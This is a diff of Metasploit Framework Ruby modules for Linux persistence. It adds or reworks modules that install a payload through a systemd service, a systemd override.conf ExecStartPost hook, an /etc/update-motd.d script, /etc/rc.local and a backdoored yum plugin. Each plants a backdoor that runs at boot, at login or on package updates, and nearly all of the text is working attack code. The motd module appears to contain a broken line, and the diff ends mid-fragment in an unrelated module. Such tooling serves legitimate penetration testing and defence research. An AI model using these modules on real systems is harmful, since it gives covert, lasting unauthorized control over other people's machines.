'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
|
||||
},
|
||||
'DisclosureDate' => '2010-03-30' # systemd release date
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PAYLOAD_NAME', [false, 'Name of shell file to write']),
|
||||
OptString.new('SERVICE', [false, 'Name of service to create']),
|
||||
OptString.new('USER', [ false, 'User to target, or current user if blank', '' ], conditions: ['Targets', '==', 'systemd user']),
|
||||
]
|
||||
)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('EnableService', [true, 'Enable the service', true])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
|
||||
print_warning('User doesnt have root permissions, yet target set to systemd, likely need to change target to systemd user.') if target.name == 'systemd' && !is_root?
|
||||
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
|
||||
return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
|
||||
return CheckCode::Safe('Likely not a systemd based system') unless command_exists?('systemctl')
|
||||
|
||||
CheckCode::Appears("#{writable_dir} is writable and system is systemd based")
|
||||
end
|
||||
|
||||
def target_user
|
||||
return datastore['USER'] unless datastore['USER'].blank?
|
||||
|
||||
whoami
|
||||
end
|
||||
|
||||
def install_persistence
|
||||
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
|
||||
backdoor = write_shell(writable_dir)
|
||||
|
||||
path = backdoor.split('/')[0...-1].join('/')
|
||||
file = backdoor.split('/')[-1]
|
||||
case target.name
|
||||
when 'systemd'
|
||||
systemd(path, file)
|
||||
when 'systemd user'
|
||||
systemd_user(path, file)
|
||||
end
|
||||
end
|
||||
|
||||
def write_shell(path)
|
||||
file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
|
||||
backdoor = "#{path}/#{file_name}"
|
||||
vprint_status("Writing backdoor to #{backdoor}")
|
||||
if payload.arch.first == 'cmd'
|
||||
write_file(backdoor, payload.encoded)
|
||||
chmod(backdoor, 0o755)
|
||||
else
|
||||
upload_and_chmodx backdoor, generate_payload_exe
|
||||
end
|
||||
@clean_up_rc << "rm #{backdoor}\n"
|
||||
|
||||
fail_with(Failure::NoAccess, 'File not written, check permissions.') unless file_exist?(backdoor)
|
||||
|
||||
backdoor
|
||||
end
|
||||
|
||||
def service_file(exec, target = 'multi-user.target')
|
||||
<<~EOF
|
||||
[Unit]
|
||||
Description=Start daemon at boot time
|
||||
After=
|
||||
Requires=
|
||||
[Service]
|
||||
RestartSec=10s
|
||||
Restart=always
|
||||
TimeoutStartSec=5
|
||||
RemainAfterExit=yes
|
||||
ExecStart=#{exec}
|
||||
[Install]
|
||||
WantedBy=#{target}
|
||||
EOF
|
||||
end
|
||||
|
||||
def systemd(backdoor_path, backdoor_file)
|
||||
if payload.arch.first == 'cmd'
|
||||
script = service_file("/bin/sh #{backdoor_path}/#{backdoor_file}")
|
||||
else
|
||||
script = service_file("#{backdoor_path}/#{backdoor_file}")
|
||||
end
|
||||
|
||||
service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)
|
||||
service_name = "/lib/systemd/system/#{service_filename}.service"
|
||||
vprint_status("Writing service: #{service_name}")
|
||||
write_file(service_name, script)
|
||||
|
||||
fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name)
|
||||
|
||||
@clean_up_rc << "rm #{service_name}\n"
|
||||
if datastore['EnableService']
|
||||
vprint_status('Enabling service')
|
||||
cmd_exec("systemctl enable #{service_filename}.service")
|
||||
end
|
||||
vprint_status('Starting service')
|
||||
cmd_exec("systemctl start #{service_filename}.service")
|
||||
end
|
||||
|
||||
def systemd_user(backdoor_path, backdoor_file)
|
||||
if payload.arch.first == 'cmd'
|
||||
script = service_file("/bin/sh #{backdoor_path}/#{backdoor_file}", 'default.target')
|
||||
else
|
||||
script = service_file("#{backdoor_path}/#{backdoor_file}", 'default.target')
|
||||
end
|
||||
service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)
|
||||
|
||||
user = target_user
|
||||
home = get_home_dir(user)
|
||||
vprint_status('Creating user service directory')
|
||||
cmd_exec("mkdir -p #{home}/.config/systemd/user")
|
||||
|
||||
service_name = "#{home}/.config/systemd/user/#{service_filename}.service"
|
||||
vprint_status("Writing service: #{service_name}")
|
||||
|
||||
write_file(service_name, script)
|
||||
@clean_up_rc << "rm #{service_name}\n"
|
||||
|
||||
if !file_exist?(service_name)
|
||||
print_error('File not written, check permissions. Attempting secondary location')
|
||||
vprint_status('Creating user secondary service directory')
|
||||
cmd_exec("mkdir -p #{home}/.local/share/systemd/user")
|
||||
|
||||
service_name = "#{home}/.local/share/systemd/user/#{service_filename}.service"
|
||||
vprint_status("Writing .local service: #{service_name}")
|
||||
write_file(service_name, script)
|
||||
fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name)
|
||||
@clean_up_rc << "rm #{service_name}\n"
|
||||
end
|
||||
|
||||
# This was taken from pam_systemd(8)
|
||||
systemd_socket_id = cmd_exec('id -u')
|
||||
systemd_socket_dir = "/run/user/#{systemd_socket_id}"
|
||||
vprint_status('Reloading manager configuration')
|
||||
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user daemon-reload")
|
||||
|
||||
if datastore['EnableService']
|
||||
vprint_status('Enabling service')
|
||||
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user enable #{service_filename}.service")
|
||||
end
|
||||
|
||||
vprint_status("Starting service: #{service_filename}")
|
||||
# Prefer restart over start, as it will execute already existing service files
|
||||
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user restart #{service_filename}")
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,155 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Unix
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Exploit::EXE # for generate_payload_exe
|
||||
include Msf::Exploit::Local::Persistence
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Service SystemD override.conf Persistence',
|
||||
'Description' => %q{
|
||||
This module will create an override.conf file for a SystemD service on the box.
|
||||
The ExecStartPost hook is used to launch the payload after the service is started.
|
||||
We need enough access (typically root) to write in the /etc/systemd/system
|
||||
directory and potentially restart services.
|
||||
Verified on Ubuntu 22.04
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'h00die',
|
||||
],
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Privileged' => true,
|
||||
'Targets' => [
|
||||
['systemd', {}],
|
||||
['systemd user', {}]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Arch' => [
|
||||
ARCH_CMD,
|
||||
ARCH_X86,
|
||||
ARCH_X64,
|
||||
ARCH_ARMLE,
|
||||
ARCH_AARCH64,
|
||||
ARCH_PPC,
|
||||
ARCH_MIPSLE,
|
||||
ARCH_MIPSBE
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://www.freedesktop.org/software/systemd/man/latest/systemd.service.html'],
|
||||
['URL', 'https://askubuntu.com/a/659268'],
|
||||
['URL', 'https://wiki.archlinux.org/title/Systemd'], # section 2.3.2 Drop-in files
|
||||
['ATT&CK', Mitre::Attack::Technique::T1543_002_SYSTEMD_SERVICE]
|
||||
],
|
||||
'SessionTypes' => ['shell', 'meterpreter'],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
|
||||
},
|
||||
'DisclosureDate' => '2010-03-30' # systemd release date
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SERVICE', [true, 'Service to override (e.g., sshd)', 'ssh']),
|
||||
]
|
||||
)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('ReloadService', [true, 'Reload the service', true])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
|
||||
|
||||
root_dir = '/lib/systemd/system/'
|
||||
service_file = "#{root_dir}#{datastore['SERVICE']}.service"
|
||||
|
||||
return CheckCode::Safe("Service #{datastore['SERVICE']} doesnt exist in #{root_dir}") unless exists?(service_file)
|
||||
|
||||
service_root_dir = '/etc/systemd/system/'
|
||||
service_dir = "#{service_root_dir}#{datastore['SERVICE']}.service.d"
|
||||
override_conf = "#{service_dir}/override.conf"
|
||||
|
||||
if directory?(service_dir)
|
||||
return CheckCode::Safe("No write access to #{override_conf}") if exists?(override_conf) && !writable?(override_conf)
|
||||
return CheckCode::Safe("No write access to #{service_dir}") if !exists?(override_conf) && !writable?(service_dir)
|
||||
else
|
||||
return CheckCode::Safe("No write access to #{service_root_dir}") unless writable?(service_root_dir)
|
||||
end
|
||||
|
||||
CheckCode::Appears("#{writable_dir} is writable and system is systemd based")
|
||||
end
|
||||
|
||||
def install_persistence
|
||||
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
|
||||
|
||||
service_dir = "/etc/systemd/system/#{datastore['SERVICE']}.service.d"
|
||||
override_conf = "#{service_dir}/override.conf"
|
||||
|
||||
unless exists?(service_dir)
|
||||
vprint_status("Creating #{service_dir}")
|
||||
create_process('mkdir', args: ['-p', service_dir])
|
||||
end
|
||||
|
||||
if exists?(override_conf)
|
||||
conf = read_file(override_conf)
|
||||
backup_conf_path = store_loot(override_conf, 'text/plain', session, conf, 'override.conf', "#{datastore['SERVICE']} override.conf backup")
|
||||
vprint_status("Backup copy of #{override_conf} stored to: #{backup_conf_path}")
|
||||
@clean_up_rc << "upload #{backup_conf_path} #{override_conf}\n"
|
||||
else
|
||||
@clean_up_rc << "rm #{override_conf}\n"
|
||||
end
|
||||
|
||||
if payload.arch.first == 'cmd'
|
||||
p_load = payload.encoded
|
||||
p_load = ' &' unless p_load.end_with?('&')
|
||||
contents = <<~OVERRIDE
|
||||
[Service]
|
||||
ExecStartPost=/bin/sh -c '#{p_load}'
|
||||
OVERRIDE
|
||||
else
|
||||
payload_path = writable_dir
|
||||
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
|
||||
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
|
||||
payload_path << payload_name
|
||||
print_status("Uploading payload file to #{payload_path}")
|
||||
upload_and_chmodx payload_path, generate_payload_exe
|
||||
contents = <<~OVERRIDE
|
||||
[Service]
|
||||
ExecStartPost=/bin/sh -c '#{payload_path} &'
|
||||
OVERRIDE
|
||||
end
|
||||
|
||||
vprint_status("Writing override file to: #{override_conf}")
|
||||
write_file(override_conf, contents)
|
||||
|
||||
# This was taken from pam_systemd(8)
|
||||
systemd_socket_id = cmd_exec('id -u')
|
||||
systemd_socket_dir = "/run/user/#{systemd_socket_id}"
|
||||
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl daemon-reload")
|
||||
|
||||
@clean_up_rc << "execute -f /bin/systemctl -a \"daemon-reload\"\n"
|
||||
@clean_up_rc << "execute -f /bin/systemctl -a \"restart #{datastore['SERVICE']}.service\""
|
||||
|
||||
if datastore['ReloadService']
|
||||
vprint_status("Reloading #{datastore['SERVICE']} service")
|
||||
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl restart #{datastore['SERVICE']}.service")
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,102 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Unix
|
||||
include Msf::Exploit::EXE # for generate_payload_exe
|
||||
include Msf::Exploit::Local::Persistence
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::Deprecated
|
||||
moved_from 'exploits/linux/local/motd_persistence'
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'update-motd.d Persistence',
|
||||
'Description' => %q{
|
||||
This module will add a script in /etc/update-motd.d/ in order to persist a payload.
|
||||
The payload will be executed with root privileges everytime a user logs in.
|
||||
Root privileges are likely required to write to /etc/update-motd.d/.
|
||||
Verified on Ubuntu 22.04
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Julien Voisin' ],
|
||||
'Platform' => [ 'unix', 'linux' ],
|
||||
'Arch' => [
|
||||
ARCH_CMD,
|
||||
ARCH_X86,
|
||||
ARCH_X64,
|
||||
ARCH_ARMLE,
|
||||
ARCH_AARCH64,
|
||||
ARCH_PPC,
|
||||
ARCH_MIPSLE,
|
||||
ARCH_MIPSBE
|
||||
],
|
||||
'Payload' => {
|
||||
'BadChars' => '#%\n"'
|
||||
},
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Targets' => [ ['Automatic', {}] ],
|
||||
'Privileged' => true,
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => '1999-01-01',
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK]
|
||||
},
|
||||
'References' => [
|
||||
['URL', 'https://manpages.ubuntu.com/manpages/oracular/en/man5/update-motd.5.html'],
|
||||
]
|
||||
)
|
||||
)
|
||||
register_options([
|
||||
OptString.new('BACKDOOR_NAME', [true, 'The filename of the backdoor', '99-check-updates']),
|
||||
OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
return CheckCode::Safe('/etc/update-motd.d/ does not exist') unless exists? '/etc/update-motd.d/'
|
||||
return CheckCode::Safe('/etc/update-motd.d/ is not writable') unless writable? '/etc/update-motd.d/'
|
||||
|
||||
print_warning("#{datastore['BACKDOOR_NAME']} already exists") if exists? "/etc/update-motd.d/#{datastore['BACKDOOR_NAME']}"
|
||||
|
||||
CheckCode::Appears('/etc/update-motd.d/ is writable')
|
||||
end
|
||||
|
||||
def install_persistence
|
||||
update_path = '/etc/update-motd.d/'
|
||||
|
||||
backdoor_path = "#{update_path}/#{datastore['BACKDOOR_NAME']}"
|
||||
|
||||
if exists? backdoor_path
|
||||
fail_with Failure::BadConfig, "#{backdoor_path} is already present"
|
||||
end
|
||||
|
||||
if payload.arch.first == 'cmd'
|
||||
write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}")
|
||||
else
|
||||
backdoor_path = writable_dir
|
||||
backdoor_path = backdoor_path.end_with?('/') ? backdoor_path : "#{backdoor_path}/"
|
||||
backdoor_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
|
||||
backdoor_path << backdoor_name
|
||||
print_status("Uploading payload file to #{backdoor_path}")
|
||||
upload_and_chmodx backdoor_path, generate_payload_exe
|
||||
write_file(path, (autostart_stub + ["Exec=\"#{backdoor_path}\""]).join("\n"))
|
||||
@clean_up_rc << "rm #{backdoor_path}\n"
|
||||
end
|
||||
|
||||
write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}")
|
||||
@clean_up_rc << "rm #{backdoor_path}\n"
|
||||
chmod(backdoor_path, 0o755)
|
||||
print_status "#{backdoor_path} written"
|
||||
print_good('Payload will be triggered at user login')
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,119 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Unix
|
||||
include Msf::Exploit::EXE # for generate_payload_exe
|
||||
include Msf::Exploit::Local::Persistence
|
||||
include Msf::Auxiliary::Report
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::Deprecated
|
||||
moved_from 'exploits/linux/local/rc_local_persistence'
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'rc.local Persistence',
|
||||
'Description' => %q{
|
||||
This module will edit /etc/rc.local in order to persist a payload.
|
||||
The payload will be executed on the next reboot.
|
||||
Verified on Ubuntu 18.04.3
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Eliott Teissonniere' ],
|
||||
'Platform' => [ 'unix', 'linux' ],
|
||||
'Arch' => [
|
||||
ARCH_CMD,
|
||||
ARCH_X86,
|
||||
ARCH_X64,
|
||||
ARCH_ARMLE,
|
||||
ARCH_AARCH64,
|
||||
ARCH_PPC,
|
||||
ARCH_MIPSLE,
|
||||
ARCH_MIPSBE
|
||||
],
|
||||
'Payload' => {
|
||||
'BadChars' => '#%\n"'
|
||||
},
|
||||
'References' => [
|
||||
['ATT&CK', Mitre::Attack::Technique::T1037_004_RC_SCRIPTS]
|
||||
],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'DisclosureDate' => '1980-10-01', # The rc command appeared in 4.0BSD.
|
||||
'Targets' => [ ['Automatic', {}] ],
|
||||
'Privileged' => true,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
|
||||
},
|
||||
'DefaultTarget' => 0
|
||||
)
|
||||
)
|
||||
register_options([
|
||||
OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
|
||||
# a few notes for those who like to read source code. On Ubuntu 18.04.3, when no
|
||||
# /etc/rc.local file exists, systemctl status rc.local shows inactive (dead).
|
||||
# When /etc/rc.local exists, systemctl status rc.local shows active (exited).
|
||||
# so checking the service status isn't necessarily helpful.
|
||||
if exists?('/etc/rc.local')
|
||||
return CheckCode::Safe('/etc/rc.local isnt writable') unless writable?('/etc/rc.local')
|
||||
else
|
||||
return CheckCode::Safe('/etc/ isnt writable') unless writable?('/etc/')
|
||||
end
|
||||
|
||||
CheckCode::Appears('/etc/rc.local is writable')
|
||||
end
|
||||
|
||||
def install_persistence
|
||||
print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')
|
||||
rc_path = '/etc/rc.local'
|
||||
|
||||
print_status "Reading #{rc_path}"
|
||||
|
||||
# read /etc/rc.local, but remove `exit 0`
|
||||
rc_local = '#!/bin/sh'
|
||||
if exists? rc_path
|
||||
rc_local = read_file(rc_path).gsub(/^exit.*$/, '')
|
||||
backup_profile_path = store_loot('rc.local', 'text/plain', session, rc_local, 'rc.local', '/etc/rc.local backup')
|
||||
print_status("Created /etc/rc.local backup: #{backup_profile_path}")
|
||||
@clean_up_rc << "upload #{backup_profile_path} #{rc_path}\n"
|
||||
else
|
||||
@clean_up_rc << "rm #{rc_path}\n"
|
||||
end
|
||||
|
||||
if payload.arch.first == 'cmd'
|
||||
# add payload and put back `exit 0`
|
||||
pload = payload.encoded
|
||||
pload = "#{pload} &" unless pload.end_with?('&')
|
||||
rc_local << "\n#{pload}\nexit 0\n"
|
||||
print_status "Patching #{rc_path}"
|
||||
else
|
||||
payload_path = writable_dir
|
||||
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
|
||||
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
|
||||
payload_path << payload_name
|
||||
print_status("Uploading payload file to #{payload_path}")
|
||||
upload_and_chmodx payload_path, generate_payload_exe
|
||||
rc_local << "\n#{payload_path} &\nexit 0\n"
|
||||
@clean_up_rc << "rm #{payload_path}\n"
|
||||
end
|
||||
|
||||
# write new file
|
||||
write_file(rc_path, rc_local)
|
||||
chmod(rc_path, 0o755)
|
||||
|
||||
print_good('Payload will be triggered at next reboot')
|
||||
end
|
||||
end
|
||||
+58
-49
@@ -5,10 +5,15 @@
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::System
|
||||
include Msf::Exploit::Local::Persistence
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::Deprecated
|
||||
moved_from 'exploits/linux/local/yum_package_manager_persistence'
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
@@ -16,11 +21,12 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
info,
|
||||
'Name' => 'Yum Package Manager Persistence',
|
||||
'Description' => %q{
|
||||
This module will run a payload when the package manager is used. No
|
||||
handler is ran automatically so you must configure an appropriate
|
||||
exploit/multi/handler to connect. Module modifies a yum plugin to
|
||||
launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/
|
||||
This module will run a payload when the package manager is used.
|
||||
This module modifies a yum plugin to launch a binary of choice.
|
||||
grep -F 'enabled=1' /etc/yum/pluginconf.d/
|
||||
will show what plugins are currently enabled on the system.
|
||||
root persmissions are likely required.
|
||||
Verified on Centos 7.1
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['Aaron Ringo'],
|
||||
@@ -36,18 +42,15 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
ARCH_MIPSBE
|
||||
],
|
||||
'SessionTypes' => ['shell', 'meterpreter'],
|
||||
'DefaultOptions' => {
|
||||
'WfsDelay' => 0, 'DisablePayloadHandler' => true,
|
||||
'Payload' => 'cmd/unix/reverse_python'
|
||||
},
|
||||
'DisclosureDate' => '2003-12-17', # Date published, Robert G. Browns documentation on Yum
|
||||
'References' => ['URL', 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/deployment_guide/sec-yum_plugins'],
|
||||
'Targets' => [['Automatic', {}]],
|
||||
'DefaultTarget' => 0,
|
||||
'Privileged' => true,
|
||||
'Notes' => {
|
||||
'Reliability' => UNKNOWN_RELIABILITY,
|
||||
'Stability' => UNKNOWN_STABILITY,
|
||||
'SideEffects' => UNKNOWN_SIDE_EFFECTS
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
|
||||
}
|
||||
)
|
||||
)
|
||||
@@ -55,8 +58,8 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
register_options(
|
||||
[
|
||||
# /usr/lib/yum-plugins/fastestmirror.py is a default enabled plugin in centos
|
||||
OptString.new('PLUGIN', [true, 'Yum Plugin to target', 'fastestmirror']),
|
||||
OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write'])
|
||||
OptString.new('PLUGIN', [true, 'Yum Plugin to target', 'fastestmirror.py']),
|
||||
OptString.new('PAYLOAD_NAME', [false, 'Name of binary to write'])
|
||||
]
|
||||
)
|
||||
|
||||
@@ -68,53 +71,57 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
)
|
||||
end
|
||||
|
||||
def exploit
|
||||
def check
|
||||
return CheckCode::Safe("#{datastore['WritableDir']} does not exist") unless exists? datastore['WritableDir']
|
||||
return CheckCode::Safe("#{datastore['WritableDir']} not writable") unless writable? datastore['WritableDir']
|
||||
|
||||
# checks /usr/lib/yum-plugins/PLUGIN.py exists and is writeable
|
||||
plugin = datastore['PLUGIN']
|
||||
full_plugin_path = "#{datastore['PluginPath']}#{plugin}.py"
|
||||
print_status(full_plugin_path)
|
||||
unless writable? full_plugin_path
|
||||
fail_with Failure::BadConfig, "#{full_plugin_path} not writable, does not exist, or yum is not on system"
|
||||
end
|
||||
full_plugin_path = "#{datastore['PluginPath']}#{plugin}"
|
||||
return CheckCode::Safe("#{full_plugin_path} does not exist") unless exists? full_plugin_path
|
||||
return CheckCode::Safe("#{full_plugin_path} not writable") unless writable? full_plugin_path
|
||||
return CheckCode::Safe('yum not found on system') unless command_exists? 'yum'
|
||||
return CheckCode::Safe('sed not found on system, required for exploitation') unless command_exists? 'sed'
|
||||
|
||||
# /etc/yum.conf must contain plugins=1 for plugins to run at all
|
||||
plugins_enabled = cmd_exec "grep -F 'plugins=1' /etc/yum.conf"
|
||||
unless plugins_enabled.include? 'plugins=1'
|
||||
fail_with Failure::NotVulnerable, 'Plugins are not set to be enabled in /etc/yum.conf'
|
||||
end
|
||||
print_good('Plugins are enabled!')
|
||||
return CheckCode::Safe('Plugins are not set to be enabled in /etc/yum.conf') unless plugins_enabled.include? 'plugins=1'
|
||||
|
||||
vprint_good('Plugins are enabled!')
|
||||
|
||||
# /etc/yum/pluginconf.d/PLUGIN.conf must contain enabled=1
|
||||
plugin_conf = "/etc/yum/pluginconf.d/#{plugin}.conf"
|
||||
plugin_conf = "/etc/yum/pluginconf.d/#{plugin.sub('.py', '')}.conf"
|
||||
plugin_enabled = cmd_exec "grep -F 'enabled=1' #{plugin_conf}"
|
||||
unless plugin_enabled.include? 'enabled=1'
|
||||
print_bad("#{plugin_conf} plugin is not configured to run")
|
||||
fail_with Failure::NotVulnerable, "try: grep -F 'enabled=1' /etc/yum/pluginconf.d/*"
|
||||
return CheckCode::Safe("#{plugin_conf} plugin is not configured to run")
|
||||
end
|
||||
|
||||
# plugins are made in python and generate pycs on successful execution
|
||||
unless exist? "#{full_plugin_path}c"
|
||||
print_warning('Either Yum has never been executed, or the selected plugin has not run')
|
||||
end
|
||||
|
||||
# check for write in backdoor path and set/generate backdoor name
|
||||
backdoor_path = datastore['WritableDir']
|
||||
unless writable? backdoor_path
|
||||
fail_with Failure::BadConfig, "#{backdoor_path} is not writable"
|
||||
end
|
||||
backdoor_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10)
|
||||
backdoor_path << backdoor_name
|
||||
|
||||
# check that the plugin contains an import os, to backdoor
|
||||
import_os_check = cmd_exec "grep -F 'import os' #{full_plugin_path}"
|
||||
unless import_os_check.include? 'import os'
|
||||
fail_with Failure::NotVulnerable, "#{full_plugin_path} does not import os, which is odd"
|
||||
return CheckCode::Safe("#{full_plugin_path} does not import os, which is odd")
|
||||
end
|
||||
|
||||
CheckCode::Detected('yum installed and plugin found, enabled, and backdoorable')
|
||||
end
|
||||
|
||||
def install_persistence
|
||||
plugin = datastore['PLUGIN']
|
||||
full_plugin_path = "#{datastore['PluginPath']}/#{plugin}"
|
||||
|
||||
# plugins are made in python and generate pycs on successful execution
|
||||
print_warning('Either Yum has never been executed, or the selected plugin has not run') unless exist? "#{full_plugin_path}c"
|
||||
|
||||
# check for write in backdoor path and set/generate backdoor name
|
||||
payload_path = datastore['WritableDir']
|
||||
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
|
||||
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
|
||||
payload_path << payload_name
|
||||
|
||||
# check for sed binary and then append launcher to plugin underneath
|
||||
print_status('Attempting to modify plugin')
|
||||
launcher = "os.system('setsid #{backdoor_path} 2>/dev/null \\& ')"
|
||||
sed_path = cmd_exec "command -v sed"
|
||||
launcher = "os.system('setsid #{payload_path} 2>/dev/null \\& ')"
|
||||
sed_path = cmd_exec 'command -v sed'
|
||||
unless sed_path.include?('sed')
|
||||
fail_with Failure::NotVulnerable, 'Module uses sed to modify plugin, sed was not found'
|
||||
end
|
||||
@@ -123,17 +130,19 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
|
||||
# actually write users payload to be executed then check for write
|
||||
if payload.arch.first == 'cmd'
|
||||
write_file(backdoor_path, payload.encoded)
|
||||
write_file(payload_path, payload.encoded)
|
||||
else
|
||||
write_file(backdoor_path, generate_payload_exe)
|
||||
write_file(payload_path, generate_payload_exe)
|
||||
end
|
||||
unless exist? backdoor_path
|
||||
fail_with Failure::Unknown, "Failed to write #{backdoor_path}"
|
||||
@clean_up_rc << "rm #{payload_path}\n"
|
||||
@clean_up_rc << "execute -f #{sed_path} -a \"-i /os\.system.*#{payload_name}/d #{full_plugin_path}\""
|
||||
unless exist? payload_path
|
||||
fail_with Failure::Unknown, "Failed to write #{payload_path}"
|
||||
end
|
||||
|
||||
# change perms to reflect bins in /usr/local/bin/, give good feels
|
||||
chmod(backdoor_path, 0755)
|
||||
print_status("Backdoor uploaded to #{backdoor_path}")
|
||||
print_status('Backdoor will run on next Yum update')
|
||||
chmod(payload_path, 0o755)
|
||||
print_status("Backdoor uploaded to #{payload_path}")
|
||||
print_good('Backdoor will run on next Yum update')
|
||||
end
|
||||
end
|
||||
@@ -209,6 +209,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
share_info.each do |share|
|
||||
next if share.blank?
|
||||
